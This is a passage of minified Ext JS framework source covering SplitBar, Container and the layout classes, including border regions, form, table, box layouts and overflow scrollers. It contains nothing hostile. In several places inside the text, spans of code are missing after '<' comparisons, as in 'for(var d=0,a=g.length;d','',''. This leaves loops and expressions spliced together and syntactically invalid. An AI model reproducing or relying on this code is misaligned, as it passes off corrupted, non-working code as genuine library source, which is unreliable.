Ext.SplitBar.BasicLayoutAdapter();this.adapter.init(this);if(this.orientation==Ext.SplitBar.HORIZONTAL){this.placement=d||(this.el.getX()>this.resizingEl.getX()?Ext.SplitBar.LEFT:Ext.SplitBar.RIGHT);this.el.addClass("x-splitbar-h")}else{this.placement=d||(this.el.getY()>this.resizingEl.getY()?Ext.SplitBar.TOP:Ext.SplitBar.BOTTOM);this.el.addClass("x-splitbar-v")}this.addEvents("resize","moved","beforeresize","beforeapply");Ext.SplitBar.superclass.constructor.call(this)};Ext.extend(Ext.SplitBar,Ext.util.Observable,{onStartProxyDrag:function(a,e){this.fireEvent("beforeresize",this);this.overlay=Ext.DomHelper.append(document.body,{cls:"x-drag-overlay",html:" "},true);this.overlay.unselectable();this.overlay.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true));this.overlay.show();Ext.get(this.proxy).setDisplayed("block");var c=this.adapter.getElementSize(this);this.activeMinSize=this.getMinimumSize();this.activeMaxSize=this.getMaximumSize();var d=c-this.activeMinSize;var b=Math.max(this.activeMaxSize-c,0);if(this.orientation==Ext.SplitBar.HORIZONTAL){this.dd.resetConstraints();this.dd.setXConstraint(this.placement==Ext.SplitBar.LEFT?d:b,this.placement==Ext.SplitBar.LEFT?b:d,this.tickSize);this.dd.setYConstraint(0,0)}else{this.dd.resetConstraints();this.dd.setXConstraint(0,0);this.dd.setYConstraint(this.placement==Ext.SplitBar.TOP?d:b,this.placement==Ext.SplitBar.TOP?b:d,this.tickSize)}this.dragSpecs.startSize=c;this.dragSpecs.startPoint=[a,e];Ext.dd.DDProxy.prototype.b4StartDrag.call(this.dd,a,e)},onEndProxyDrag:function(c){Ext.get(this.proxy).setDisplayed(false);var b=Ext.lib.Event.getXY(c);if(this.overlay){Ext.destroy(this.overlay);delete this.overlay}var a;if(this.orientation==Ext.SplitBar.HORIZONTAL){a=this.dragSpecs.startSize+(this.placement==Ext.SplitBar.LEFT?b[0]-this.dragSpecs.startPoint[0]:this.dragSpecs.startPoint[0]-b[0])}else{a=this.dragSpecs.startSize+(this.placement==Ext.SplitBar.TOP?b[1]-this.dragSpecs.startPoint[1]:this.dragSpecs.startPoint[1]-b[1])}a=Math.min(Math.max(a,this.activeMinSize),this.activeMaxSize);if(a!=this.dragSpecs.startSize){if(this.fireEvent("beforeapply",this,a)!==false){this.adapter.setElementSize(this,a);this.fireEvent("moved",this,a);this.fireEvent("resize",this,a)}}},getAdapter:function(){return this.adapter},setAdapter:function(a){this.adapter=a;this.adapter.init(this)},getMinimumSize:function(){return this.minSize},setMinimumSize:function(a){this.minSize=a},getMaximumSize:function(){return this.maxSize},setMaximumSize:function(a){this.maxSize=a},setCurrentSize:function(b){var a=this.animate;this.animate=false;this.adapter.setElementSize(this,b);this.animate=a},destroy:function(a){Ext.destroy(this.shim,Ext.get(this.proxy));this.dd.unreg();if(a){this.el.remove()}this.purgeListeners()}});Ext.SplitBar.createProxy=function(b){var c=new Ext.Element(document.createElement("div"));document.body.appendChild(c.dom);c.unselectable();var a="x-splitbar-proxy";c.addClass(a+" "+(b==Ext.SplitBar.HORIZONTAL?a+"-h":a+"-v"));return c.dom};Ext.SplitBar.BasicLayoutAdapter=function(){};Ext.SplitBar.BasicLayoutAdapter.prototype={init:function(a){},getElementSize:function(a){if(a.orientation==Ext.SplitBar.HORIZONTAL){return a.resizingEl.getWidth()}else{return a.resizingEl.getHeight()}},setElementSize:function(b,a,c){if(b.orientation==Ext.SplitBar.HORIZONTAL){if(!b.animate){b.resizingEl.setWidth(a);if(c){c(b,a)}}else{b.resizingEl.setWidth(a,true,0.1,c,"easeOut")}}else{if(!b.animate){b.resizingEl.setHeight(a);if(c){c(b,a)}}else{b.resizingEl.setHeight(a,true,0.1,c,"easeOut")}}}};Ext.SplitBar.AbsoluteLayoutAdapter=function(a){this.basic=new Ext.SplitBar.BasicLayoutAdapter();this.container=Ext.get(a)};Ext.SplitBar.AbsoluteLayoutAdapter.prototype={init:function(a){this.basic.init(a)},getElementSize:function(a){return this.basic.getElementSize(a)},setElementSize:function(b,a,c){this.basic.setElementSize(b,a,this.moveSplitter.createDelegate(this,[b]))},moveSplitter:function(a){var b=Ext.SplitBar;switch(a.placement){case b.LEFT:a.el.setX(a.resizingEl.getRight());break;case b.RIGHT:a.el.setStyle("right",(this.container.getWidth()-a.resizingEl.getLeft())+"px");break;case b.TOP:a.el.setY(a.resizingEl.getBottom());break;case b.BOTTOM:a.el.setY(a.resizingEl.getTop()-a.el.getHeight());break}}};Ext.SplitBar.VERTICAL=1;Ext.SplitBar.HORIZONTAL=2;Ext.SplitBar.LEFT=1;Ext.SplitBar.RIGHT=2;Ext.SplitBar.TOP=3;Ext.SplitBar.BOTTOM=4;Ext.Container=Ext.extend(Ext.BoxComponent,{bufferResize:50,autoDestroy:true,forceLayout:false,defaultType:"panel",resizeEvent:"resize",bubbleEvents:["add","remove"],initComponent:function(){Ext.Container.superclass.initComponent.call(this);this.addEvents("afterlayout","beforeadd","beforeremove","add","remove");var a=this.items;if(a){delete this.items;this.add(a)}},initItems:function(){if(!this.items){this.items=new Ext.util.MixedCollection(false,this.getComponentId);this.getLayout()}},setLayout:function(a){if(this.layout&&this.layout!=a){this.layout.setContainer(null)}this.layout=a;this.initItems();a.setContainer(this)},afterRender:function(){Ext.Container.superclass.afterRender.call(this);if(!this.layout){this.layout="auto"}if(Ext.isObject(this.layout)&&!this.layout.layout){this.layoutConfig=this.layout;this.layout=this.layoutConfig.type}if(Ext.isString(this.layout)){this.layout=new Ext.Container.LAYOUTS[this.layout.toLowerCase()](this.layoutConfig)}this.setLayout(this.layout);if(this.activeItem!==undefined&&this.layout.setActiveItem){var a=this.activeItem;delete this.activeItem;this.layout.setActiveItem(a)}if(!this.ownerCt){this.doLayout(false,true)}if(this.monitorResize===true){Ext.EventManager.onWindowResize(this.doLayout,this,[false])}},getLayoutTarget:function(){return this.el},getComponentId:function(a){return a.getItemId()},add:function(b){this.initItems();var e=arguments.length>1;if(e||Ext.isArray(b)){var a=[];Ext.each(e?arguments:b,function(h){a.push(this.add(h))},this);return a}var g=this.lookupComponent(this.applyDefaults(b));var d=this.items.length;if(this.fireEvent("beforeadd",this,g,d)!==false&&this.onBeforeAdd(g)!==false){this.items.add(g);g.onAdded(this,d);this.onAdd(g);this.fireEvent("add",this,g,d)}return g},onAdd:function(a){},onAdded:function(a,b){this.ownerCt=a;this.initRef();this.cascade(function(d){d.initRef()});this.fireEvent("added",this,a,b)},insert:function(e,b){var d=arguments,h=d.length,a=[],g,j;this.initItems();if(h>2){for(g=h-1;g>=1;--g){a.push(this.insert(e,d[g]))}return a}j=this.lookupComponent(this.applyDefaults(b));e=Math.min(e,this.items.length);if(this.fireEvent("beforeadd",this,j,e)!==false&&this.onBeforeAdd(j)!==false){if(j.ownerCt==this){this.items.remove(j)}this.items.insert(e,j);j.onAdded(this,e);this.onAdd(j);this.fireEvent("add",this,j,e)}return j},applyDefaults:function(b){var a=this.defaults;if(a){if(Ext.isFunction(a)){a=a.call(this,b)}if(Ext.isString(b)){b=Ext.ComponentMgr.get(b);Ext.apply(b,a)}else{if(!b.events){Ext.applyIf(b.isAction?b.initialConfig:b,a)}else{Ext.apply(b,a)}}}return b},onBeforeAdd:function(a){if(a.ownerCt){a.ownerCt.remove(a,false)}if(this.hideBorders===true){a.border=(a.border===true)}},remove:function(a,b){this.initItems();var d=this.getComponent(a);if(d&&this.fireEvent("beforeremove",this,d)!==false){this.doRemove(d,b);this.fireEvent("remove",this,d)}return d},onRemove:function(a){},doRemove:function(e,d){var b=this.layout,a=b&&this.rendered;if(a){b.onRemove(e)}this.items.remove(e);e.onRemoved();this.onRemove(e);if(d===true||(d!==false&&this.autoDestroy)){e.destroy()}if(a){b.afterRemove(e)}},removeAll:function(c){this.initItems();var e,g=[],b=[];this.items.each(function(h){g.push(h)});for(var d=0,a=g.length;d','','
','
',"");a.disableFormats=true;return a.compile()})(),destroy:function(){if(this.resizeTask&&this.resizeTask.cancel){this.resizeTask.cancel()}if(this.container){this.container.un(this.container.resizeEvent,this.onResize,this)}if(!Ext.isEmpty(this.targetCls)){var a=this.container.getLayoutTarget();if(a){a.removeClass(this.targetCls)}}}});Ext.layout.AutoLayout=Ext.extend(Ext.layout.ContainerLayout,{type:"auto",monitorResize:true,onLayout:function(d,g){Ext.layout.AutoLayout.superclass.onLayout.call(this,d,g);var e=this.getRenderedItems(d),a=e.length,b,h;for(b=0;b0){b.setSize(a)}}});Ext.Container.LAYOUTS.fit=Ext.layout.FitLayout;Ext.layout.CardLayout=Ext.extend(Ext.layout.FitLayout,{deferredRender:false,layoutOnCardChange:false,renderHidden:true,type:"card",setActiveItem:function(d){var a=this.activeItem,b=this.container;d=b.getComponent(d);if(d&&a!=d){if(a){a.hide();if(a.hidden!==true){return false}a.fireEvent("deactivate",a)}var c=d.doLayout&&(this.layoutOnCardChange||!d.rendered);this.activeItem=d;delete d.deferLayout;d.show();this.layout();if(c){d.doLayout()}d.fireEvent("activate",d)}},renderAll:function(a,b){if(this.deferredRender){this.renderItem(this.activeItem,undefined,b)}else{Ext.layout.CardLayout.superclass.renderAll.call(this,a,b)}}});Ext.Container.LAYOUTS.card=Ext.layout.CardLayout;Ext.layout.AnchorLayout=Ext.extend(Ext.layout.ContainerLayout,{monitorResize:true,type:"anchor",defaultAnchor:"100%",parseAnchorRE:/^(r|right|b|bottom)$/i,getLayoutTargetSize:function(){var b=this.container.getLayoutTarget(),a={};if(b){a=b.getViewSize();if(Ext.isIE&&Ext.isStrict&&a.width==0){a=b.getStyleSize()}a.width-=b.getPadding("lr");a.height-=b.getPadding("tb")}return a},onLayout:function(m,w){Ext.layout.AnchorLayout.superclass.onLayout.call(this,m,w);var p=this.getLayoutTargetSize(),k=p.width,o=p.height,q=w.getStyle("overflow"),n=this.getRenderedItems(m),t=n.length,g=[],j,a,v,l,h,c,e,d,u=0,s,b;if(k<20&&o<20){return}if(m.anchorSize){if(typeof m.anchorSize=="number"){a=m.anchorSize}else{a=m.anchorSize.width;v=m.anchorSize.height}}else{a=m.initialConfig.width;v=m.initialConfig.height}for(s=0;s ');b.disableFormats=true;b.compile();Ext.layout.BorderLayout.Region.prototype.toolTemplate=b}this.collapsedEl=this.targetEl.createChild({cls:"x-layout-collapsed x-layout-collapsed-"+this.position,id:this.panel.id+"-xcollapsed"});this.collapsedEl.enableDisplayMode("block");if(this.collapseMode=="mini"){this.collapsedEl.addClass("x-layout-cmini-"+this.position);this.miniCollapsedEl=this.collapsedEl.createChild({cls:"x-layout-mini x-layout-mini-"+this.position,html:" "});this.miniCollapsedEl.addClassOnOver("x-layout-mini-over");this.collapsedEl.addClassOnOver("x-layout-collapsed-over");this.collapsedEl.on("click",this.onExpandClick,this,{stopEvent:true})}else{if(this.collapsible!==false&&!this.hideCollapseTool){var a=this.expandToolEl=this.toolTemplate.append(this.collapsedEl.dom,{id:"expand-"+this.position},true);a.addClassOnOver("x-tool-expand-"+this.position+"-over");a.on("click",this.onExpandClick,this,{stopEvent:true})}if(this.floatable!==false||this.titleCollapse){this.collapsedEl.addClassOnOver("x-layout-collapsed-over");this.collapsedEl.on("click",this[this.floatable?"collapseClick":"onExpandClick"],this)}}}return this.collapsedEl},onExpandClick:function(a){if(this.isSlid){this.panel.expand(false)}else{this.panel.expand()}},onCollapseClick:function(a){this.panel.collapse()},beforeCollapse:function(c,a){this.lastAnim=a;if(this.splitEl){this.splitEl.hide()}this.getCollapsedEl().show();var b=this.panel.getEl();this.originalZIndex=b.getStyle("z-index");b.setStyle("z-index",100);this.isCollapsed=true;this.layout.layout()},onCollapse:function(a){this.panel.el.setStyle("z-index",1);if(this.lastAnim===false||this.panel.animCollapse===false){this.getCollapsedEl().dom.style.visibility="visible"}else{this.getCollapsedEl().slideIn(this.panel.slideAnchor,{duration:0.2})}this.state.collapsed=true;this.panel.saveState()},beforeExpand:function(a){if(this.isSlid){this.afterSlideIn()}var b=this.getCollapsedEl();this.el.show();if(this.position=="east"||this.position=="west"){this.panel.setSize(undefined,b.getHeight())}else{this.panel.setSize(b.getWidth(),undefined)}b.hide();b.dom.style.visibility="hidden";this.panel.el.setStyle("z-index",this.floatingZIndex)},onExpand:function(){this.isCollapsed=false;if(this.splitEl){this.splitEl.show()}this.layout.layout();this.panel.el.setStyle("z-index",this.originalZIndex);this.state.collapsed=false;this.panel.saveState()},collapseClick:function(a){if(this.isSlid){a.stopPropagation();this.slideIn()}else{a.stopPropagation();this.slideOut()}},onHide:function(){if(this.isCollapsed){this.getCollapsedEl().hide()}else{if(this.splitEl){this.splitEl.hide()}}},onShow:function(){if(this.isCollapsed){this.getCollapsedEl().show()}else{if(this.splitEl){this.splitEl.show()}}},isVisible:function(){return !this.panel.hidden},getMargins:function(){return this.isCollapsed&&this.cmargins?this.cmargins:this.margins},getSize:function(){return this.isCollapsed?this.getCollapsedEl().getSize():this.panel.getSize()},setPanel:function(a){this.panel=a},getMinWidth:function(){return this.minWidth},getMinHeight:function(){return this.minHeight},applyLayoutCollapsed:function(a){var b=this.getCollapsedEl();b.setLeftTop(a.x,a.y);b.setSize(a.width,a.height)},applyLayout:function(a){if(this.isCollapsed){this.applyLayoutCollapsed(a)}else{this.panel.setPosition(a.x,a.y);this.panel.setSize(a.width,a.height)}},beforeSlide:function(){this.panel.beforeEffect()},afterSlide:function(){this.panel.afterEffect()},initAutoHide:function(){if(this.autoHide!==false){if(!this.autoHideHd){this.autoHideSlideTask=new Ext.util.DelayedTask(this.slideIn,this);this.autoHideHd={mouseout:function(a){if(!a.within(this.el,true)){this.autoHideSlideTask.delay(500)}},mouseover:function(a){this.autoHideSlideTask.cancel()},scope:this}}this.el.on(this.autoHideHd);this.collapsedEl.on(this.autoHideHd)}},clearAutoHide:function(){if(this.autoHide!==false){this.el.un("mouseout",this.autoHideHd.mouseout);this.el.un("mouseover",this.autoHideHd.mouseover);this.collapsedEl.un("mouseout",this.autoHideHd.mouseout);this.collapsedEl.un("mouseover",this.autoHideHd.mouseover)}},clearMonitor:function(){Ext.getDoc().un("click",this.slideInIf,this)},slideOut:function(){if(this.isSlid||this.el.hasActiveFx()){return}this.isSlid=true;var b=this.panel.tools,c,a;if(b&&b.toggle){b.toggle.hide()}this.el.show();a=this.panel.collapsed;this.panel.collapsed=false;if(this.position=="east"||this.position=="west"){c=this.panel.deferHeight;this.panel.deferHeight=false;this.panel.setSize(undefined,this.collapsedEl.getHeight());this.panel.deferHeight=c}else{this.panel.setSize(this.collapsedEl.getWidth(),undefined)}this.panel.collapsed=a;this.restoreLT=[this.el.dom.style.left,this.el.dom.style.top];this.el.alignTo(this.collapsedEl,this.getCollapseAnchor());this.el.setStyle("z-index",this.floatingZIndex+2);this.panel.el.replaceClass("x-panel-collapsed","x-panel-floating");if(this.animFloat!==false){this.beforeSlide();this.el.slideIn(this.getSlideAnchor(),{callback:function(){this.afterSlide();this.initAutoHide();Ext.getDoc().on("click",this.slideInIf,this)},scope:this,block:true})}else{this.initAutoHide();Ext.getDoc().on("click",this.slideInIf,this)}},afterSlideIn:function(){this.clearAutoHide();this.isSlid=false;this.clearMonitor();this.el.setStyle("z-index","");this.panel.el.replaceClass("x-panel-floating","x-panel-collapsed");this.el.dom.style.left=this.restoreLT[0];this.el.dom.style.top=this.restoreLT[1];var a=this.panel.tools;if(a&&a.toggle){a.toggle.show()}},slideIn:function(a){if(!this.isSlid||this.el.hasActiveFx()){Ext.callback(a);return}this.isSlid=false;if(this.animFloat!==false){this.beforeSlide();this.el.slideOut(this.getSlideAnchor(),{callback:function(){this.el.hide();this.afterSlide();this.afterSlideIn();Ext.callback(a)},scope:this,block:true})}else{this.el.hide();this.afterSlideIn()}},slideInIf:function(a){if(!a.within(this.el)){this.slideIn()}},anchors:{west:"left",east:"right",north:"top",south:"bottom"},sanchors:{west:"l",east:"r",north:"t",south:"b"},canchors:{west:"tl-tr",east:"tr-tl",north:"tl-bl",south:"bl-tl"},getAnchor:function(){return this.anchors[this.position]},getCollapseAnchor:function(){return this.canchors[this.position]},getSlideAnchor:function(){return this.sanchors[this.position]},getAlignAdj:function(){var a=this.cmargins;switch(this.position){case"west":return[0,0];break;case"east":return[0,0];break;case"north":return[0,0];break;case"south":return[0,0];break}},getExpandAdj:function(){var b=this.collapsedEl,a=this.cmargins;switch(this.position){case"west":return[-(a.right+b.getWidth()+a.left),0];break;case"east":return[a.right+b.getWidth()+a.left,0];break;case"north":return[0,-(a.top+a.bottom+b.getHeight())];break;case"south":return[0,a.top+a.bottom+b.getHeight()];break}},destroy:function(){if(this.autoHideSlideTask&&this.autoHideSlideTask.cancel){this.autoHideSlideTask.cancel()}Ext.destroyMembers(this,"miniCollapsedEl","collapsedEl","expandToolEl")}};Ext.layout.BorderLayout.SplitRegion=function(b,a,c){Ext.layout.BorderLayout.SplitRegion.superclass.constructor.call(this,b,a,c);this.applyLayout=this.applyFns[c]};Ext.extend(Ext.layout.BorderLayout.SplitRegion,Ext.layout.BorderLayout.Region,{splitTip:"Drag to resize.",collapsibleSplitTip:"Drag to resize. Double click to hide.",useSplitTips:false,splitSettings:{north:{orientation:Ext.SplitBar.VERTICAL,placement:Ext.SplitBar.TOP,maxFn:"getVMaxSize",minProp:"minHeight",maxProp:"maxHeight"},south:{orientation:Ext.SplitBar.VERTICAL,placement:Ext.SplitBar.BOTTOM,maxFn:"getVMaxSize",minProp:"minHeight",maxProp:"maxHeight"},east:{orientation:Ext.SplitBar.HORIZONTAL,placement:Ext.SplitBar.RIGHT,maxFn:"getHMaxSize",minProp:"minWidth",maxProp:"maxWidth"},west:{orientation:Ext.SplitBar.HORIZONTAL,placement:Ext.SplitBar.LEFT,maxFn:"getHMaxSize",minProp:"minWidth",maxProp:"maxWidth"}},applyFns:{west:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;this.panel.setPosition(c.x,c.y);var a=d.offsetWidth;b.left=(c.x+c.width-a)+"px";b.top=(c.y)+"px";b.height=Math.max(0,c.height)+"px";this.panel.setSize(c.width-a,c.height)},east:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetWidth;this.panel.setPosition(c.x+a,c.y);b.left=(c.x)+"px";b.top=(c.y)+"px";b.height=Math.max(0,c.height)+"px";this.panel.setSize(c.width-a,c.height)},north:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetHeight;this.panel.setPosition(c.x,c.y);b.left=(c.x)+"px";b.top=(c.y+c.height-a)+"px";b.width=Math.max(0,c.width)+"px";this.panel.setSize(c.width,c.height-a)},south:function(c){if(this.isCollapsed){return this.applyLayoutCollapsed(c)}var d=this.splitEl.dom,b=d.style;var a=d.offsetHeight;this.panel.setPosition(c.x,c.y+a);b.left=(c.x)+"px";b.top=(c.y)+"px";b.width=Math.max(0,c.width)+"px";this.panel.setSize(c.width,c.height-a)}},render:function(a,c){Ext.layout.BorderLayout.SplitRegion.superclass.render.call(this,a,c);var d=this.position;this.splitEl=a.createChild({cls:"x-layout-split x-layout-split-"+d,html:" ",id:this.panel.id+"-xsplit"});if(this.collapseMode=="mini"){this.miniSplitEl=this.splitEl.createChild({cls:"x-layout-mini x-layout-mini-"+d,html:" "});this.miniSplitEl.addClassOnOver("x-layout-mini-over");this.miniSplitEl.on("click",this.onCollapseClick,this,{stopEvent:true})}var b=this.splitSettings[d];this.split=new Ext.SplitBar(this.splitEl.dom,c.el,b.orientation);this.split.tickSize=this.tickSize;this.split.placement=b.placement;this.split.getMaximumSize=this[b.maxFn].createDelegate(this);this.split.minSize=this.minSize||this[b.minProp];this.split.on("beforeapply",this.onSplitMove,this);this.split.useShim=this.useShim===true;this.maxSize=this.maxSize||this[b.maxProp];if(c.hidden){this.splitEl.hide()}if(this.useSplitTips){this.splitEl.dom.title=this.collapsible?this.collapsibleSplitTip:this.splitTip}if(this.collapsible){this.splitEl.on("dblclick",this.onCollapseClick,this)}},getSize:function(){if(this.isCollapsed){return this.collapsedEl.getSize()}var a=this.panel.getSize();if(this.position=="north"||this.position=="south"){a.height+=this.splitEl.dom.offsetHeight}else{a.width+=this.splitEl.dom.offsetWidth}return a},getHMaxSize:function(){var b=this.maxSize||10000;var a=this.layout.center;return Math.min(b,(this.el.getWidth()+a.el.getWidth())-a.getMinWidth())},getVMaxSize:function(){var b=this.maxSize||10000;var a=this.layout.center;return Math.min(b,(this.el.getHeight()+a.el.getHeight())-a.getMinHeight())},onSplitMove:function(b,a){var c=this.panel.getSize();this.lastSplitSize=a;if(this.position=="north"||this.position=="south"){this.panel.setSize(c.width,a);this.state.height=a}else{this.panel.setSize(a,c.height);this.state.width=a}this.layout.layout();this.panel.saveState();return false},getSplitBar:function(){return this.split},destroy:function(){Ext.destroy(this.miniSplitEl,this.split,this.splitEl);Ext.layout.BorderLayout.SplitRegion.superclass.destroy.call(this)}});Ext.Container.LAYOUTS.border=Ext.layout.BorderLayout;Ext.layout.FormLayout=Ext.extend(Ext.layout.AnchorLayout,{labelSeparator:":",trackLabels:true,type:"form",onRemove:function(d){Ext.layout.FormLayout.superclass.onRemove.call(this,d);if(this.trackLabels){d.un("show",this.onFieldShow,this);d.un("hide",this.onFieldHide,this)}var b=d.getPositionEl(),a=d.getItemCt&&d.getItemCt();if(d.rendered&&a){if(b&&b.dom){b.insertAfter(a)}Ext.destroy(a);Ext.destroyMembers(d,"label","itemCt");if(d.customItemCt){Ext.destroyMembers(d,"getItemCt","customItemCt")}}},setContainer:function(a){Ext.layout.FormLayout.superclass.setContainer.call(this,a);if(a.labelAlign){a.addClass("x-form-label-"+a.labelAlign)}if(a.hideLabels){Ext.apply(this,{labelStyle:"display:none",elementStyle:"padding-left:0;",labelAdjust:0})}else{this.labelSeparator=Ext.isDefined(a.labelSeparator)?a.labelSeparator:this.labelSeparator;a.labelWidth=a.labelWidth||100;if(Ext.isNumber(a.labelWidth)){var b=Ext.isNumber(a.labelPad)?a.labelPad:5;Ext.apply(this,{labelAdjust:a.labelWidth+b,labelStyle:"width:"+a.labelWidth+"px;",elementStyle:"padding-left:"+(a.labelWidth+b)+"px"})}if(a.labelAlign=="top"){Ext.apply(this,{labelStyle:"width:auto;",labelAdjust:0,elementStyle:"padding-left:0;"})}}},isHide:function(a){return a.hideLabel||this.container.hideLabels},onFieldShow:function(a){a.getItemCt().removeClass("x-hide-"+a.hideMode);if(a.isComposite){a.doLayout()}},onFieldHide:function(a){a.getItemCt().addClass("x-hide-"+a.hideMode)},getLabelStyle:function(e){var b="",c=[this.labelStyle,e];for(var d=0,a=c.length;d=b)||(this.cells[c]&&this.cells[c][a])){if(b&&a>=b){c++;a=0}else{a++}}return[a,c]},renderItem:function(e,a,d){if(!this.table){this.table=d.createChild(Ext.apply({tag:"table",cls:"x-table-layout",cellspacing:0,cn:{tag:"tbody"}},this.tableAttrs),null,true)}if(e&&!e.rendered){e.render(this.getNextCell(e));this.configureItem(e)}else{if(e&&!this.isValidParent(e,d)){var b=this.getNextCell(e);b.insertBefore(e.getPositionEl().dom,null);e.container=Ext.get(b);this.configureItem(e)}}},isValidParent:function(b,a){return b.getPositionEl().up("table",5).dom.parentNode===(a.dom||a)},destroy:function(){delete this.table;Ext.layout.TableLayout.superclass.destroy.call(this)}});Ext.Container.LAYOUTS.table=Ext.layout.TableLayout;Ext.layout.AbsoluteLayout=Ext.extend(Ext.layout.AnchorLayout,{extraCls:"x-abs-layout-item",type:"absolute",onLayout:function(a,b){b.position();this.paddingLeft=b.getPadding("l");this.paddingTop=b.getPadding("t");Ext.layout.AbsoluteLayout.superclass.onLayout.call(this,a,b)},adjustWidthAnchor:function(b,a){return b?b-a.getPosition(true)[0]+this.paddingLeft:b},adjustHeightAnchor:function(b,a){return b?b-a.getPosition(true)[1]+this.paddingTop:b}});Ext.Container.LAYOUTS.absolute=Ext.layout.AbsoluteLayout;Ext.layout.BoxLayout=Ext.extend(Ext.layout.ContainerLayout,{defaultMargins:{left:0,top:0,right:0,bottom:0},padding:"0",pack:"start",monitorResize:true,type:"box",scrollOffset:0,extraCls:"x-box-item",targetCls:"x-box-layout-ct",innerCls:"x-box-inner",constructor:function(a){Ext.layout.BoxLayout.superclass.constructor.call(this,a);if(Ext.isString(this.defaultMargins)){this.defaultMargins=this.parseMargins(this.defaultMargins)}var d=this.overflowHandler;if(typeof d=="string"){d={type:d}}var c="none";if(d&&d.type!=undefined){c=d.type}var b=Ext.layout.boxOverflow[c];if(b[this.type]){b=b[this.type]}this.overflowHandler=new b(this,d)},onLayout:function(b,h){Ext.layout.BoxLayout.superclass.onLayout.call(this,b,h);var d=this.getLayoutTargetSize(),i=this.getVisibleItems(b),c=this.calculateChildBoxes(i,d),g=c.boxes,j=c.meta;if(d.width>0){var k=this.overflowHandler,a=j.tooNarrow?"handleOverflow":"clearOverflow";var e=k[a](c,d);if(e){if(e.targetSize){d=e.targetSize}if(e.recalculate){i=this.getVisibleItems(b);c=this.calculateChildBoxes(i,d);g=c.boxes}}}this.layoutTargetLastSize=d;this.childBoxCache=c;this.updateInnerCtSize(d,c);this.updateChildBoxes(g);this.handleTargetOverflow(d,b,h)},updateChildBoxes:function(c){for(var b=0,e=c.length;b(None)',constructor:function(a){Ext.layout.boxOverflow.Menu.superclass.constructor.apply(this,arguments);this.menuItems=[]},createInnerElements:function(){if(!this.afterCt){this.afterCt=this.layout.innerCt.insertSibling({cls:this.afterCls},"before")}},clearOverflow:function(a,g){var e=g.width+(this.afterCt?this.afterCt.getWidth():0),b=this.menuItems;this.hideTrigger();for(var c=0,d=b.length;ci.width;return l}},handleOverflow:function(d,h){this.showTrigger();var k=h.width-this.afterCt.getWidth(),l=d.boxes,e=0,r=false;for(var o=0,c=l.length;o=0;j--){var q=l[j].component,p=l[j].left+l[j].width;if(p>=k){this.menuItems.unshift({component:q,width:l[j].width});q.hide()}else{break}}}if(this.menuItems.length==0){this.hideTrigger()}return{targetSize:{height:h.height,width:k},recalculate:r}}});Ext.layout.boxOverflow.menu.hbox=Ext.layout.boxOverflow.HorizontalMenu;Ext.layout.boxOverflow.Scroller=Ext.extend(Ext.layout.boxOverflow.None,{animateScroll:true,scrollIncrement:100,wheelIncrement:3,scrollRepeatInterval:400,scrollDuration:0.4,beforeCls:"x-strip-left",afterCls:"x-strip-right",scrollerCls:"x-strip-scroller",beforeScrollerCls:"x-strip-scroller-left",afterScrollerCls:"x-strip-scroller-right",createWheelListener:function(){this.layout.innerCt.on({scope:this,mousewheel:function(a){a.stopEvent();this.scrollBy(a.getWheelDelta()*this.wheelIncrement*-1,false)}})},handleOverflow:function(a,b){this.createInnerElements();this.showScrollers()},clearOverflow:function(){this.hideScrollers()},showScrollers:function(){this.createScrollers();this.beforeScroller.show();this.afterScroller.show();this.updateScrollButtons()},hideScrollers:function(){if(this.beforeScroller!=undefined){this.beforeScroller.hide();this.afterScroller.hide()}},createScrollers:function(){if(!this.beforeScroller&&!this.afterScroller){var a=this.beforeCt.createChild({cls:String.format("{0} {1} ",this.scrollerCls,this.beforeScrollerCls)});var b=this.afterCt.createChild({cls:String.format("{0} {1}",this.scrollerCls,this.afterScrollerCls)});a.addClassOnOver(this.beforeScrollerCls+"-hover");b.addClassOnOver(this.afterScrollerCls+"-hover");a.setVisibilityMode(Ext.Element.DISPLAY);b.setVisibilityMode(Ext.Element.DISPLAY);this.beforeRepeater=new Ext.util.ClickRepeater(a,{interval:this.scrollRepeatInterval,handler:this.scrollLeft,scope:this});this.afterRepeater=new Ext.util.ClickRepeater(b,{interval:this.scrollRepeatInterval,handler:this.scrollRight,scope:this});this.beforeScroller=a;this.afterScroller=b}},destroy:function(){Ext.destroy(this.beforeScroller,this.afterScroller,this.beforeRepeater,this.afterRepeater,this.beforeCt,this.afterCt)},scrollBy:function(b,a){this.scrollTo(this.getScrollPosition()+b,a)},getItem:function(a){if(Ext.isString(a)){a=Ext.getCmp(a)}else{if(Ext.isNumber(a)){a=this.items[a]}}return a},getScrollAnim:function(){return{duration:this.scrollDuration,callback:this.updateScrollButtons,scope:this}},updateScrollButtons:function(){if(this.beforeScroller==undefined||this.afterScroller==undefined){return}var d=this.atExtremeBefore()?"addClass":"removeClass",c=this.atExtremeAfter()?"addClass":"removeClass",a=this.beforeScrollerCls+"-disabled",b=this.afterScrollerCls+"-disabled";this.beforeScroller[d](a);this.afterScroller[c](b);this.scrolling=false},atExtremeBefore:function(){return this.getScrollPosition()===0},scrollLeft:function(a){this.scrollBy(-this.scrollIncrement,a)},scrollRight:function(a){this.scrollBy(this.scrollIncrement,a)},scrollToItem:function(d,b){d=this.getItem(d);if(d!=undefined){var a=this.getItemVisibility(d);if(!a.fullyVisible){var c=d.getBox(true,true),e=c.x;if(a.hiddenRight){e-=(this.layout.innerCt.getWidth()-c.width)}this.scrollTo(e,b)}}},getItemVisibility:function(e){var d=this.getItem(e).getBox(true,true),a=d.x,c=d.x+d.width,g=this.getScrollPosition(),b=this.layout.innerCt.getWidth()+g;return{hiddenLeft:ab,fullyVisible:a>g&&c=this.getMaxScrollBottom()}});Ext.layout.boxOverflow.scroller.vbox=Ext.layout.boxOverflow.VerticalScroller;Ext.layout.boxOverflow.HorizontalScroller=Ext.extend(Ext.layout.boxOverflow.Scroller,{handleOverflow:function(a,b){Ext.layout.boxOverflow.HorizontalScroller.superclass.handleOverflow.apply(this,arguments);return{targetSize:{height:b.height,width:b.width-(this.beforeCt.getWidth()+this.afterCt.getWidth())}}},createInnerElements:function(){var 